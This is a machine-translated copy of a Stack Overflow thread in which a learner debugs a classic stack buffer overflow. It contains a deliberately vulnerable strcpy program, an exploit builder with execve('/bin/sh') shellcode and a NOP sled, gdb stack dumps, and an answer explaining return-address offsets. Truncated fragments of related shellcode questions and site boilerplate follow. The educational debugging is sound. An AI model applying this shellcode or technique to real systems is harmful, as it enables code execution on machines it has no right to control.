- android - 多次调用 OnPrimaryClipChangedListener
- android - 无法更新 RecyclerView 中的 TextView 字段
- android.database.CursorIndexOutOfBoundsException : Index 0 requested, 光标大小为 0
- android - 使用 AppCompat 时,我们是否需要明确指定其 UI 组件(Spinner、EditText)颜色
NOTE: This is a modified version of my original post here but poses a slightly different question.
我正在经历这个video关于缓冲区溢出,但在复制演示时遇到了一些问题。问题似乎是当我执行溢出时,预期的返回地址没有被覆盖。
据我所知,预期的返回地址应该是 0x7fffffffe060
。
This memory address format differs from what I've seen in demos etc. maybe something wrong here?
gcc
命令 - gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=4 -o Output Output.c
我可以看到 shellcode 被引入堆栈,但它比我预期的位置低了一个“行”或内存地址。
期望,我的 shellcode:
0x7fffffffe060: 0x6850c031 0x68732f6e 0x622f2f68 0x99e38969
实际结果:
0x7fffffffe060: 0xffffe1a8 0x00007fff 0xffffe096 0x00000002
0x7fffffffe070: 0x6850c031 0x68732f6e 0x622f2f68 0x99e38969
为什么目标返回地址 0x7fffffffe060
没有被覆盖为 0x7fffffffe070
?
ExploitMe.c
#include<stdio.h>
#include<string.h>
main(int argc, char **argv)
{
char buffer[80];
strcpy(buffer, argv[1]);
return 1;
}
HackYou.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
char shellcode[] =
"\x31\xc0"
"\x50"
"\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69"
"\x89\xe3"
"\x99"
"\x52"
"\x53"
"\x89\xe1"
"\xb0\x0b"
"\xcd\x80"
;
char retaddr[] = "\x60\xe0\xff\xff\xff\x7f";
#define NOP 0x90
main()
{
char buffer[96];
memset(buffer, NOP, 96);
memcpy(buffer, "EGG=", 4);
memcpy(buffer+4, shellcode, 24);
memcpy(buffer+88, retaddr, 4);
memcpy(buffer+92, "\x00\x00\x00\x00", 4);
putenv(buffer);
system("/bin/sh");
return 0;
}
(gdb) 运行 $EGG
(gdb) x/24xw $rsp
0x7fffffffe060: 0xffffe1a8 0x00007fff 0xffffe096 0x00000002
0x7fffffffe070: 0x00000001 0x00000000 0xf7e939b5 0x00007fff
0x7fffffffe080: 0x00000000 0x00000000 0x555551bd 0x00005555
0x7fffffffe090: 0xf7fe42a0 0x00007fff 0x00000000 0x00000000
0x7fffffffe0a0: 0x55555170 0x00005555 0x55555050 0x00005555
0x7fffffffe0b0: 0xffffe1a0 0x00007fff 0x00000000 0x00000000
(gdb) c
Continuing.
(gdb) x/24xw argv[1]
0x7fffffffe4c4: 0x6850c031 0x68732f6e 0x622f2f68 0x99e38969
0x7fffffffe4d4: 0xe1895352 0x80cd0bb0 0x90909090 0x90909090
0x7fffffffe4e4: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe4f4: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe504: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe514: 0x90909090 0xffffe060 0x5f534c00 0x4f4c4f43
(gdb) x/34xw $rsp
0x7fffffffe060: 0xffffe1a8 0x00007fff 0xffffe096 0x00000002
0x7fffffffe070: 0x6850c031 0x68732f6e 0x622f2f68 0x99e38969
0x7fffffffe080: 0xe1895352 0x80cd0bb0 0x90909090 0x90909090
0x7fffffffe090: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe0a0: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe0b0: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe0c0: 0x90909090 0xffffe060 0xf7e14b00 0x00007fff
0x7fffffffe0d0: 0x00000000 0x00000000 0xffffe1a8 0x00007fff
0x7fffffffe0e0: 0x00040000 0x00000002
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e14b0d in __libc_start_main (main=0x555555555135 <main>, argc=2, argv=0x7fffffffe1a8, init=<optimized out>,
fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe198) at ../csu/libc-start.c:310
310 ../csu/libc-start.c: No such file or directory.
最佳答案
我没有看过您的视频,但您使用的方法高度依赖于编译器版本、编译选项甚至操作系统版本。如果您缺少目标,很可能是因为调试选项 (-g)。调试选项通常会导致编译器安装可靠的堆栈帧,以便调试器可以可靠地遍历调用堆栈。
在您的示例中,您期望返回地址距缓冲区地址 92 个字节,或缓冲区末尾后 3 个堆栈地址。因此,如果您反汇编 ExploitMe.c:main(),序言会是什么样子?压入多少个寄存器,从 rsp 中减去什么?
在(ubuntu 18,gcc 7.3)上,我得到 1 次推送和减去 96,因此返回地址位于缓冲区的偏移量 104 处;保存的堆栈指针位于偏移量 96 处。当我用 -O 替换 -ggdb 时,我得到了偏移量 88 处的返回地址 [因此 92 将是中间字节或最高有效字节],并且没有保存堆栈指针。
正如评论者指出的那样,如果您要利用未记录的行为,您必须能够适应。
关于c - 缓冲区溢出 shellcode 覆盖了错误的地址,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/52991756/
我目前正在编写一个 shellcode,该代码利用使用 puts 函数的目标程序。该程序如下所示: #include main() { char buf[123]; puts(get
我是 StackOverflow 的新手。最近,我开始学习汇编,对汇编相当陌生,对 shellcode 完全陌生。我正在使用 RadAsm 使用 MASM 汇编器进行编译,并尝试从该网站 Shellc
我在 32 位 Linux 系统上,正在为 TCP 绑定(bind)编写 Linux/x86 shellcode。基于 Linux 手册页如下: ;;; Will be using socketcal
我使用linux并且我有c程序,我想更改返回地址以指向我的shellcode,但我无法做到这一点。 这是我的 shellcode "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x
我正在尝试编写一些最终将采用英文段落形式的 shellcode。这意味着我主要限于具有计算为字母数字字符或标点符号的操作码的指令。这实际上给我留下了许多不同的跳转指令,包括:jo , jno , jb
我用 nasm (x64) 编写了一个程序,它应该执行 /bin/bash ,而且效果很好。然后我用 objdump -D 运行程序我写下了这样的机器代码:\xbb\x68\x53\x48\xbb\x
我是 shellcode 开发的新手,我不明白为什么生成的 shellcode 不能按预期工作。 汇编代码: 基于 an answer我之前的问题。 .section .data cmd: .s
我认为 shellcode 中不允许空字节。在理解一些 shellcode 时,我似乎遇到了一些包含 null 的代码并且运行完美,这是为什么? http://pastie.org/private/f
我正在尝试在 32 位上执行系统调用,但有一个问题。 我最初有一个裸函数作为我的 stub 并使用内联汇编,但是当我尝试将它转换为 shellcode 时,尽管它是裸函数的一对一拷贝(在 Visual
我正在尝试将我编写的汇编程序转换为无空值的 shellcode。 但是,对于某些说明,我不确定如何执行此操作。 其中一些(采用英特尔语法)包括: push 0x1000 和 mov BYTE [eax
我有一个用 c 编写的以下程序: char code[] = "\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20" "\x2F\x2A\x20\x32\x3e\x20\x2f\
关闭。这个问题需要多问focused 。目前不接受答案。 想要改进此问题吗?更新问题,使其仅关注一个问题 editing this post . 已关闭 8 年前。 Improve this ques
我尝试通过尝试将 BYTE(无符号字符)直接传递到函数而不先定义它来对 BYTE(无符号字符)执行 XOR 加密。 异或函数: void xor(BYTE input[], BYTE output[]
为什么我的 shellcode (int3) 不会被信号处理程序命中? 除了不喜欢在处理程序中使用 printf() 之外,我还关心如何传递 shellcode(不是内联汇编器)在信号处理程序中,在运
我有以下运行 shellcode 的工作正常: unsigned char original[] = "\xd9\xee\xd9\x74\x24\xf4\x58\xbb
这是一项实验室作业,要求我们利用这个程序。第一个任务是调用 notused 函数(可以通过将返回地址更改为 notused 函数来解决:perl -e 'printf "A"x112 . "\xadd
我尝试制作一个程序,在其中放入一些十六进制组装的程序集并运行它。使用像 int3 这样的简单指令它可以工作,但是当我尝试使用系统调用退出程序时它不起作用。我用rasm2组装它 mov eax, 1 m
我尝试通过 C 程序运行大量 shell 代码来测试它们。在这里 #include #include unsigned char code[] = "shell here"; main() { pri
嘿,我使用了一些你们大多数人都熟悉的代码。它基本上采用一个字符数组并将其转换为函数指针。有了这段代码,理论上你可以用它测试任何 shellcode 的功能,如果它表现得好的话,这对我的工作来说将是一个
我想在 32 位 Linux 上为内核模式编写 shellcode,以实现以下目的: commit_creds (prepare_kernel_cred(0)); 所以我创建一个文件: xor eax
我是一名优秀的程序员,十分优秀!